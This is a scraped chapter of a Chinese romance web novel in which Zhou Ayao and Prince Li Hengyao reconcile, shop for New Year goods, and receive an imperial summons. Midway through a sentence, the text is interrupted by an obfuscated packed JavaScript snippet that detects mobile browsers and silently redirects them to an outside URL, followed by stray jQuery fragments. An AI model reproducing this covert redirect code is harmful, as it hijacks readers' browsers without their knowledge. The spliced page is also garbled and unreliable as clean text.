“别离开你？”周阿幺安分躺在床上，仰首对视呢喃，随后她挣脱又低头。


    这一刻，她思绪纷杂。


    李珩耀到底想要什么。


    是孤身寂寞，需要她的陪伴吗？


    还是爱？


    而她呢。


    就接过和离书，还奋不顾身地追寻，因为所谓的恩情？


    还是爱？


    周阿幺思索不清。


    她只知道，她和李珩耀这段虚假的夫妻维持不下去了，压在她身上沉重枷锁消失，只有胸腔内挤压到变形，要跳出的心，急切地驱使她要做什么。


    就像是春天该播种，夏天该除草，秋天该收获，冬天该休息。


    一年四季，顺应自然，顺应规律。


    她想要做点什么。


    只是因为她想做，并没有那么多刻入骨血的道理和原因，只是她想。


    她想…


    周阿幺垂眸一笑，突然感受到一股轻松。


    她想回到安王府，回到每日回府时，能看到李珩耀对她温柔的笑。


    仅此而已。


    然而望着李珩耀冷淡阴鸷，写满不高兴的脸，周阿幺鼓起的勇气又泄了一半，她张张嘴，揉了揉发酸的眼，轻唤他的名字。


    “李珩耀。”


    李珩耀颔首：“我在。”


    周阿幺目光落到李珩耀的手腕，问：“你喜欢这条手串吗？”


    李珩耀一愣：“自然喜欢。”


    周阿幺撑手起身，与李珩耀越来越近，拍响了悬在帷幔顶，由李珩耀按照溪平村风铃，亲自雕刻的竹子风铃。


    丁零当啷，吹散她的担忧。


    她轻笑：“是因为是我送你的吗？”


    李珩耀侧头：“明知故问。”


    “来。”周阿幺伸出手轻唤。


    入目，李珩耀看到了周阿幺含笑的眼，与刚才的无措无助的神情不同。


    此刻，愉悦从她的眼角眉梢流淌，越来越近，殷红的唇瓣上抬，带着温度的吻落了他的额间。


    “李珩耀，我不会离开你的。”


    柔软且温热。


    似羽毛轻拂而过，李珩耀眼色晦暗不明，锐利如针的视线落在周阿幺的染上水气的唇上。


    他嗓音沙哑：“阿幺。”


    “你在干什么？你知道你在说什么吗？”


    “是你跟我说的，叫我不要离开你，叫我要爱你啊，”周阿幺眼色坚定，越说越是有底气，她傲然一笑，“你敢说，我就敢做，我们是夫妻，我亲你，是再正常不过的事情了。”


    恶从胆边生，想到刚才的李珩耀惊讶到瞪圆眼睛的表情甚至好笑，她俯身，两指挑起他的下颌，跟逗小猫小狗一样，亲一下他的唇。


    嫌弃不够，一下，又一下。


    把李珩耀亲到呆滞。


    半晌，李珩耀方回过神来，一只手轻轻捧起周阿幺的脸，另一只手攀附上周阿幺的腰肢。


    转眼身形改变，周阿幺依偎在李珩耀的怀中。


    而李珩耀深扣出她的后脑勺，加深这个吻。


    不再是蜻蜓点水的触碰。


    唇齿缠绵，凶狠的吻落下，掠夺周阿幺的呼吸，侵占她的领地。


    窒息，心悸，沉溺。


    周阿幺手脚发软，溃不成军。


    她软绵绵靠在李珩耀的胸膛，随着他跳动的心跳声深呼吸，端详他神仪明秀的模样，感觉自己好像要死了…


    半晌，她缓过劲来，狠狠道：“李珩耀，你在干什么？”


    面对羞得耳廓都染通红的周阿幺，她声音都是颤抖的，装得咬牙切齿，表情凶得不得了。


    忍不住李珩耀低头一笑，片刻敛了神色：“嗯，是我唐突了”


    “只是阿幺极为热情，我心神动荡，再则，夫妻之间，此为最正常的行为之一，不是吗？”


    “你！”周阿幺哪里见过这般恶劣的李珩耀，伸手遮住他笑得灿烂的脸，想到自己刚才的无能行径，更是又气又恼，威胁道，“你再这般可恶，我不理你了。”


    “是我错了，阿幺。”李珩耀真挚道歉，含笑任由周阿幺遮住他的眼。


    周阿幺只感觉自己抓住了一双展翅扑扇的蝶，手心酥酥麻麻的。


    她咬唇，嗔怒一眼毫无察觉的李珩耀，靠近他的耳畔，哼笑：“李珩耀…”


    突兀，她想到了重要一点，起身下床：“你等下我。”


    李珩耀诧异：“你去哪里？”


    周阿幺尴尬挠头笑：“柳大夫说让我到天水记得给她写信，如今我不走，理应跟她说一声，省得她收不到信，担心我。”


    “非要现在你亲自去吗？”


    “柳大夫早睡，况且我亲自说更好，”周阿幺靠近，拉拉李珩耀的手，摇晃撒娇，“你等等我吧。”


    李珩耀未答，只是起身下床，陪着周阿幺一同去了柳念青那里一趟。


    面对周阿幺的突然转变，柳念青看看周阿幺，又看看李珩耀，抵制住八卦的诱惑，作为一个大夫，又细致交代李珩耀要稳定情绪。


    *


    转眼过了大寒，临近过年。


    周阿幺穿着厚实，领口毛茸茸衬着小脸一张，她拆看柳念青的信。


    内容也柳念青她这个人一般，事事说得严谨详细，在塘古寻很顺利寻到草药，切莫担忧，又附上一颗新配的药丸。


    最后又带着幽默，连连叮嘱，她们不久便归，应该能赶在过年，叫周阿幺坐东请客。


    周阿幺含笑提笔，称自己一定办好，劝柳念青他们注意身体，切莫感冒，又觉实在虚假，揉碎纸张，重写，让她们不必着急，一定等她们过年，可缓缓归。


    想着过年喜庆，跟柳念青回了信，周阿幺就开始和宋和玉写信。


    除去柳神医一事，宋和玉再去跟她回应，想到天水忙碌，周阿幺也不曾打扰，只是过年，宋和玉一人留在远方，总是孤独。


    写完信，周阿幺裹上披风，去全院寻找李珩耀，待他忙碌完毕，邀他出行，购置年货。


    今日天气不错，太阳高悬。


    南明街热闹非凡，两侧各种铺面，衣裳首饰铺，茶楼酒楼，衣食住行，一应俱全。


    “哎哟，这轻纱料，细软轻肤，一个织女一年最多织三匹，你瞧阳光一照，还波光粼粼，这位客官穿上，真是宛如天神下凡啊。”云衫坊的伙计一边含笑介绍，并连连感叹。


    “的确好看。”周阿幺目光移不开，李珩耀平日穿着虽不得朴素，但今天格外花枝招展，走路衣摆，晃动的细碎光芒融入眼，连心都是滚烫的。


    她掏钱：“买了。还有吗？”


    店小二笑得亲切：“有有有。还有几匹其他颜色，天青，月白…”


    “好。都要，”周阿幺点头，指着李珩耀现在所穿的款式，“这就按这样就可以：”


    大方掏钱，周阿幺又给李珩耀买了一堆饰品，下二楼楼梯时，听到台前的算账的掌柜笑得合不拢嘴：“真是大方啊，是哪家小姐包养的男宠啊…”


    “咳咳…”周阿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597006|166326||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    幺被掌柜的混账话呛到，又怕李珩耀为此生气，刚要出声安抚，就见李珩耀伸出手，轻柔拍她的背。


    两人靠近，周阿幺感受到李珩耀笑声从胸腔泻出的振动：“走吧，周小姐，多谢你今日的破费。”


    那张昳丽矜贵的脸，在大庭广众之下胡言乱语，周阿幺实在生不起气，只瞪了他一眼，冷哼对掌柜。


    掌柜慌张起身，连连致歉。


    李珩耀神色未改，拉着周阿幺就离开了。


    “你拉我走干什么，这个掌柜实在可恶，竟然这般编排你我，说你是用美色勾搭人的男宠。”周阿幺气呼呼。


    李珩耀凑近笑问：“那阿幺喜欢吗？”


    周阿幺别扭转头，不一会儿，又转头望李珩耀，噗嗤一笑：“自然喜欢。”


    “那我这幅臭皮囊还是挺有用的。”李珩耀笑吟吟，拉着不再生气的周阿幺继续闲逛。


    时间过得飞快，转眼距离过年还剩几日，柳念青他们赶着回来。


    此刻，周阿幺周阿幺正在祠堂祭拜。


    炉内是燃尽的钱纸，香蜡飘荡淡淡的檀香味，周阿幺双手合十，跪于拜垫，一脸虔诚，神龛除去李家各位先祖，还按照周阿幺的阿爹阿娘牌位。


    外围是各类鲜花瓜果、鸡鸭鱼肉。


    “阿爹阿娘，你们不用担心，我也好，”絮絮叨叨说了一长串，周阿幺如同唠家常一般，她笑颜讲述一些，末了还不忘补充，“你们在下面好好的，也要记得保佑我们健健康康，平平安安。”


    倾洒的阳光落在周阿幺身上，整个人附上一层柔和温暖的光。


    李珩耀在一旁，安静陪伴，听着周阿幺啰嗦迷信的话，心似感染，沐浴阳光，安宁而悠然。


    “王爷，柳大夫她们回来了。”


    不光柳大夫她们回来，同行至安王府的还有因不熟悉甘州路段，碰巧被柳念青她们所救的御前官员。


    周阿幺还未看到柳念青，就先在内院看到一脸严肃的陌生人，为首的宦官小心翼翼掏出圣旨宣读：“奉天承运，皇帝召曰——”


    身子一僵，周阿幺侧头，担忧看向李珩耀。


    李珩耀摇摇头，轻拍她的手以示安抚，无声道：“没事的。”


    “安王镇守甘州，军务民事样样事宜，朕心甚慰，正料逢新年，万象更新，唯天伦之重，望速速回京。”


    宣读完圣旨的汪公公弯腰含笑递给李珩耀：“王爷，自您离京，殿下甚至想念，常去你幼年居住的偏殿，睹物思人。”


    又指向铺满院子的赏赐，他道：“王爷速速安排，与奴才一起回京吧。”


    李珩耀摩挲着圣旨，平淡开口：“不妥。”


    汪公公一愣：“为何？”


    “汪公公在养心殿二十多载，不知道本王的病症吗？”


    李珩耀冷眼扫过，似泠冽的刀深割汪公公的皮肉，他身子一颤，跪地劝道：“虽说如此，所以此趟陛下特令洪太医文太医跟随，定会照顾好王爷身躯，陛下拳拳爱子之心，王爷可不能辜负啊。”


    “嗯，自然是…”


    倏然，手臂被轻轻一扯，李珩耀的话断成两截，望着周阿幺蹙眉的忧虑，他也没兴趣再多言，道，“金云，带他们去休息。”


    “王爷，”人被牵制住，一切成空，汪公公又怒又惧，“您难道不怕陛下治你的罪吗？”


    周阿幺停顿：“李珩耀…”


    李珩耀手指紧缩，牢牢抓住周阿幺的手腕，离开时淡漠一笑：“既如此，那拖出去斩了吧。”